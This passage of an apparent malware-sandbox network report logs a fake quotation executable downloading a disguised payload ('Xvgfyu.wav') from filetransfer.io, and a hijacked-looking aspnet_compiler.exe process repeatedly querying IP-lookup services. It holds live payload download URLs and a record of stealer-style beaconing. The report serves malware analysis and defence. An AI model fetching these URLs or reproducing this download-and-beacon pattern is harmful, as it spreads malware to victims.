Nov 20, 2024 08:19:05.873105049 CET	443	49764	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:05.873740911 CET	49764	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:05.873971939 CET	49764	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:05.873985052 CET	443	49764	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:05.913369894 CET	49758	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:06.328978062 CET	443	49764	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:06.346251011 CET	49764	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:06.346282005 CET	443	49764	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:06.461148024 CET	443	49764	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:06.461213112 CET	443	49764	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:06.461302996 CET	49764	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:06.468513966 CET	49764	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:06.511665106 CET	49758	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:06.513837099 CET	49765	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:06.516985893 CET	80	49758	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:06.517095089 CET	49758	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:06.518923998 CET	80	49765	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:06.518989086 CET	49765	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:06.519090891 CET	49765	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:06.523998976 CET	80	49765	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:07.151909113 CET	80	49765	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:07.153388023 CET	49770	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:07.153441906 CET	443	49770	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:07.153512955 CET	49770	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:07.153789997 CET	49770	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:07.153800964 CET	443	49770	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:07.194700956 CET	49765	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:07.617959023 CET	443	49770	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:07.627974033 CET	49770	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:07.628021002 CET	443	49770	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:07.758162022 CET	443	49770	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:07.758333921 CET	443	49770	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:07.759762049 CET	49770	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:07.760052919 CET	49770	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:07.765127897 CET	49765	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:07.767396927 CET	49775	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:07.771168947 CET	80	49765	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:07.772418022 CET	49765	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:07.773068905 CET	80	49775	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:07.775501966 CET	49775	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:07.775638103 CET	49775	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:07.780436993 CET	80	49775	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:08.403659105 CET	80	49775	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:08.404964924 CET	49780	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:08.405038118 CET	443	49780	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:08.405107021 CET	49780	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:08.405402899 CET	49780	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:08.405422926 CET	443	49780	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:08.444613934 CET	49775	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:08.994033098 CET	443	49780	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:09.017405987 CET	49780	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:09.017447948 CET	443	49780	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:09.127985954 CET	443	49780	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:09.128051043 CET	443	49780	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:09.128092051 CET	49780	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:09.142179966 CET	49780	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:09.238197088 CET	49775	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:09.239567995 CET	49781	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:09.243966103 CET	80	49775	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:09.244035006 CET	49775	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:09.244700909 CET	80	49781	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:09.244772911 CET	49781	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:09.244904995 CET	49781	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:09.249830961 CET	80	49781	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:09.870517015 CET	80	49781	193.122.6.168	192.168.2.4
Nov 20, 2024 08:19:09.871994972 CET	49787	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:09.872025013 CET	443	49787	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:09.872081995 CET	49787	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:09.872371912 CET	49787	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:09.872387886 CET	443	49787	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:09.913363934 CET	49781	80	192.168.2.4	193.122.6.168
Nov 20, 2024 08:19:10.330900908 CET	443	49787	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:10.332206964 CET	49787	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:10.332238913 CET	443	49787	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:10.479935884 CET	443	49787	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:10.480005026 CET	443	49787	188.114.97.3	192.168.2.4
Nov 20, 2024 08:19:10.480066061 CET	49787	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:19:10.480535984 CET	49787	443	192.168.2.4	188.114.97.3
Nov 20, 2024 08:20:14.870965004 CET	80	49781	193.122.6.168	192.168.2.4
Nov 20, 2024 08:20:14.871052027 CET	49781	80	192.168.2.4	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:18:10.155082941 CET	50019	53	192.168.2.4	1.1.1.1
Nov 20, 2024 08:18:10.163335085 CET	53	50019	1.1.1.1	192.168.2.4
Nov 20, 2024 08:18:12.423330069 CET	64749	53	192.168.2.4	1.1.1.1
Nov 20, 2024 08:18:12.431993008 CET	53	64749	1.1.1.1	192.168.2.4
Nov 20, 2024 08:18:59.744580030 CET	63686	53	192.168.2.4	1.1.1.1
Nov 20, 2024 08:18:59.780251980 CET	53	63686	1.1.1.1	192.168.2.4
Nov 20, 2024 08:19:00.774436951 CET	52184	53	192.168.2.4	1.1.1.1
Nov 20, 2024 08:19:00.781559944 CET	53	52184	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 08:18:10.155082941 CET	192.168.2.4	1.1.1.1	0x3ca7	Standard query (0)	filetransfer.io	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:12.423330069 CET	192.168.2.4	1.1.1.1	0xff6c	Standard query (0)	s24.filetransfer.io	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:59.744580030 CET	192.168.2.4	1.1.1.1	0xc59c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:19:00.774436951 CET	192.168.2.4	1.1.1.1	0x1e2b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 08:18:10.163335085 CET	1.1.1.1	192.168.2.4	0x3ca7	No error (0)	filetransfer.io		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:10.163335085 CET	1.1.1.1	192.168.2.4	0x3ca7	No error (0)	filetransfer.io		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:12.431993008 CET	1.1.1.1	192.168.2.4	0xff6c	No error (0)	s24.filetransfer.io		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:12.431993008 CET	1.1.1.1	192.168.2.4	0xff6c	No error (0)	s24.filetransfer.io		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:59.780251980 CET	1.1.1.1	192.168.2.4	0xc59c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:18:59.780251980 CET	1.1.1.1	192.168.2.4	0xc59c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:59.780251980 CET	1.1.1.1	192.168.2.4	0xc59c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:59.780251980 CET	1.1.1.1	192.168.2.4	0xc59c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:59.780251980 CET	1.1.1.1	192.168.2.4	0xc59c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:18:59.780251980 CET	1.1.1.1	192.168.2.4	0xc59c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:19:00.781559944 CET	1.1.1.1	192.168.2.4	0x1e2b	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:19:00.781559944 CET	1.1.1.1	192.168.2.4	0x1e2b	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

filetransfer.io

s24.filetransfer.io

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	80	7268	C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:18:10.185219049 CET	95	OUT	GET /data-package/I7fmQg9d/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Nov 20, 2024 08:18:10.839596987 CET	998	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:18:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/I7fmQg9d/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UGfzAKFeo8wGscCGgwjzxpokaZFnEhE3uqidqypbltJTkE7BaEii2GudxFsYkTEYK2Itr7mAsibXV%2FbiG5LeKAt%2FvclEviNubtNPqCL3Zc%2BZO8BYtAWN%2FEEINGM6yvy%2FNnQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56aa1c3c5f80dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8842&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=95&delivery_rate=0&cwnd=142&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:18:59.797810078 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 08:19:00.443377018 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:00 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f2a4640bd76c3de6a137eeda510d48b2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 08:19:00.456357002 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:00.646150112 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:00 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0790ca9d8795d6c4eff428b8158605fb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 08:19:01.704252958 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:01.904439926 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:01 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fe82a35d308ac37653c6623156ccb04a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:19:02.556323051 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:03.202857971 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:03 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd19518daa69a8a854c1f4f2cfcf3500 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:19:03.937967062 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:04.584526062 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:04 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2ec2266d5bc0b6df3f03c8590cc14e1d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49758	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:19:05.236510038 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:05.871831894 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a96b71f0018104dd21ccf3cefcfad079 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49765	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:19:06.519090891 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:07.151909113 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:07 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7a1783dee6aebf34890b443eae82d82a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49775	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:19:07.775638103 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:08.403659105 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:08 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d2262bbb91e37efde6208a581b6883f3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49781	193.122.6.168	80	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:19:09.244904995 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 08:19:09.870517015 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e36383cd441bc6b4d38b1266da10f1d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.96.3	443	7268	C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:18:11 UTC	95	OUT	GET /data-package/I7fmQg9d/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-11-20 07:18:12 UTC	1252	IN	HTTP/1.1 302 Found Date: Wed, 20 Nov 2024 07:18:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=5hpapqh1fj2lnms9vnsl9egh6v; expires=Wed, 04-Dec-2024 07:18:12 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s24.filetransfer.io/storage/download/ndvzPJWaMUSB CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iR2IbzWvz3WWa7DhuA60UWCqoBbWGELq698bj%2FqeL3r70soZb2MnJvIulpqxxyfatdVaOvvBnjVhliKmEWYh1ovkBapsRYX1%2BpzWk%2BFSI%2B3bTBovx%2B3ntezgMSdT%2Bs%2By%2F8U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56aa247b8f43e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=709&delivery_rate=1800246&cwnd=247&unsent_bytes=0&cid=827973cbb87fdb1a&ts=1086&x=0"
2024-11-20 07:18:12 UTC	117	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 34 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 6e 64 76 7a 50 4a 57 61 4d 55 53 42 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f Data Ascii: 80<h1>Redirect</h1><p><a href="https://s24.filetransfer.io/storage/download/ndvzPJWaMUSB">Please click here to co
2024-11-20 07:18:12 UTC	17	IN	Data Raw: 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: ntinue</a>.</p>
2024-11-20 07:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	188.114.97.3	443	7268	C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:18:12 UTC	98	OUT	GET /storage/download/ndvzPJWaMUSB HTTP/1.1 Host: s24.filetransfer.io Connection: Keep-Alive
2024-11-20 07:18:13 UTC	1249	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:18:13 GMT Content-Type: application/octet-stream Content-Length: 1069568 Connection: close Last-Modified: Tue, 19 Nov 2024 08:33:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=1c3165a00cbddebe89ea15c6473c7760; expires=Wed, 04-Dec-2024 07:18:13 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Xvgfyu.wav" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "673c4d5a-105200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xs0i3yd6aR0%2BSLd35CW9hm7Own8AzAf1l%2B0JHoUPExspOxJ8tZON21Mket%2BkpVopEm27VetUfgviYq4zKbBd5AO4cTbHOsX2DN%2BZ55bwSS%2FTYGHpJ%2B8b6uw2mZtV2EQUfxkI%2BVDx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56aa2b2f12c44a-EWR alt-svc: h3=":443"; ma=86400 server-timing: 